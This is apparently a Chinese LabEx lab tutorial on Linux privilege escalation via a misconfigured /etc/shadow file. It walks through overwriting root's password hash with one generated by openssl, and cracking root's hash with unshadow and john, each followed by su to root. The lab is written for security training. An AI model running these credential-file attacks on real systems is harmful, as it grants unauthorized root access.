介绍
Linux 系统依赖 /etc/passwd
和 /etc/shadow
文件进行用户认证和访问控制。如果系统管理员错误配置了这些文件的权限或内容,可能会为权限提升攻击创造机会。在本实验中,你将学习如何利用 /etc/shadow
文件在 Linux 系统上获取 root 权限。此场景假设你已经以普通用户的身份获得了初始的低权限 shell 访问。
Linux 系统依赖 /etc/passwd
和 /etc/shadow
文件进行用户认证和访问控制。如果系统管理员错误配置了这些文件的权限或内容,可能会为权限提升攻击创造机会。在本实验中,你将学习如何利用 /etc/shadow
文件在 Linux 系统上获取 root 权限。此场景假设你已经以普通用户的身份获得了初始的低权限 shell 访问。
/etc/shadow
文件在这一步中,你将学习 /etc/shadow
文件的结构和作用。
/etc/shadow
文件存储了每个用户账户的加密密码以及与密码相关的配置信息。文件中的每一行代表一个用户,包含 9 个由冒号分隔的字段:
打开终端并导航到 /home/labex/project
目录。
cd /home/labex/project
让我们检查 /etc/shadow
文件中 labex
用户的条目:
sudo cat /etc/shadow | grep labex > /home/labex/project/labex_shadow.txt
注意,我们使用了 sudo
来读取 /etc/shadow
文件。这是因为该文件仅对 root 用户可读。
检查 labex_shadow.txt
文件的内容:
cat labex_shadow.txt
示例输出:
labex:$y$j9T$enO.7A1WiUBiOvRdw4gox0$cCOqZqHAQgLkhPb.NDJO9zO6T3EUQ3.AeE0amN57AZ8:19818:0:99999:7:::
这一行表示:
labex
$y$j9T$enO.7A1WiUBiOvRdw4gox0$cCOqZqHAQgLkhPb.NDJO9zO6T3EUQ3.AeE0amN57AZ8
默认情况下,只有 root 用户可以读取和修改 /etc/shadow
文件。然而,配置错误
的权限有时会为权限提升提供机会。
/etc/shadow
在这一步中,你将学习如何通过修改 /etc/shadow
文件中的 root 密码来提升权限,前提是你对该文件具有写入权限。
首先,打开终端并导航到 /home/labex/project
目录:
cd /home/labex/project
你会在目录中找到一个名为 env_setup_1.sh
的脚本。运行此脚本来设置环境:
./env_setup_1.sh
这将设置环境并将你切换到 user001
用户,模拟初始的低权限 shell 访问。
导航到 user001
的主目录:
cd ~
接下来,检查 /etc/shadow
文件的权限:
ls -alh /etc/shadow
示例输出:
-rw-r----- 1 user001 shadow 1.2K Apr 6 19:16 /etc/shadow
你应该会看到,由于配置错误
,user001
用户对 /etc/shadow
文件具有写入权限。
现在,你可以编辑 /etc/shadow
文件,并将 root 用户的密码哈希替换为新的哈希值。
首先,查看当前的 root 密码哈希:
cat /etc/shadow | grep root
示例输出:
root:**$6$5PfZMEbQ$pCjxwZagiIqsrkL4V6r3flOiKQrheDV5eup3zicnvBSKPItaddhUfDAVA5GWAYUHX9LQ5kXzLH8ehoUno2qkE/**:18167:0:99999:7:::
要设置一个新密码(例如 pass123
),使用 openssl
工具生成一个新的密码哈希:
openssl passwd -1 -salt ignite pass123
示例输出:
$1$ignite$3eTbJm98O9Hz.k1NTdNxe1
在文本编辑器中打开 /etc/shadow
文件,并将 root 用户的密码哈希替换为新的哈希值。
nano /etc/shadow
找到 root 用户的密码哈希:
root:**$6$5PfZMEbQ$pCjxwZagiIqsrkL4V6r3flOiKQrheDV5eup3zicnvBSKPItaddhUfDAVA5GWAYUHX9LQ5kXzLH8ehoUno2qkE/**:18167:0:99999:7:::
将密码哈希替换为新的哈希值:
root:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:18167:0:99999:7:::
保存更改并退出编辑器。
最后,使用 su root
命令切换到 root 用户,并在提示时输入新密码 pass123
。
su root
你现在应该已经获得了系统的 root 权限。
/etc/shadow
在这一步中,你将学习如何通过破解 root 密码哈希来提升权限,前提是你对 /etc/shadow
文件仅具有读取权限。
在上一步之后,你应该仍然处于 root
用户。你可以打开一个新终端
,或者使用 exit
命令注销当前用户,直到你回到 labex
用户。
当你处于 labex
用户时,导航到 /home/labex/project
目录:
cd /home/labex/project
运行 env_setup_2.sh
脚本来设置环境:
./env_setup_2.sh
这将设置一个新的环境,其中 user001
用户对 /etc/shadow
文件具有读取权限。
导航到 user001
的主目录:
cd ~
验证 /etc/shadow
文件的权限:
ls -alh /etc/shadow
示例输出:
-rw-r--r-- 1 root shadow 1.2K Apr 6 19:19 /etc/shadow
你应该会看到,由于配置错误
,user001
用户对 /etc/shadow
文件具有读取权限。
接下来,我们可以使用 john
工具来破解 root 用户的密码哈希。在使用 john
之前,你需要使用 unshadow
命令将 /etc/passwd
和 /etc/shadow
文件的内容合并:
unshadow /etc/passwd /etc/shadow > ~/shadow_crack.txt
现在,对 shadow_crack.txt
文件运行 john
,以破解 root 用户的密码哈希,并将破解的密码保存到一个文件中:
john --users=root shadow_crack.txt > cracked_passwords.txt
检查 cracked_passwords.txt
文件的内容以查看破解的密码:
Loaded 1 password hash (md5crypt [MD5 32/64 X2])
study (root)
最后,使用 su root
命令切换到 root 用户,并在提示时输入破解的密码 study
:
su root
你现在应该已经获得了系统的 root 权限。
在本实验中,你学习了 /etc/shadow
文件的结构和作用,以及通过利用该文件提升权限的两种方法:通过写入权限修改 root 密码哈希,或通过读取权限破解 root 密码哈希。这些技术展示了在 Linux 环境中正确配置文件权限和保护敏感系统文件的重要性。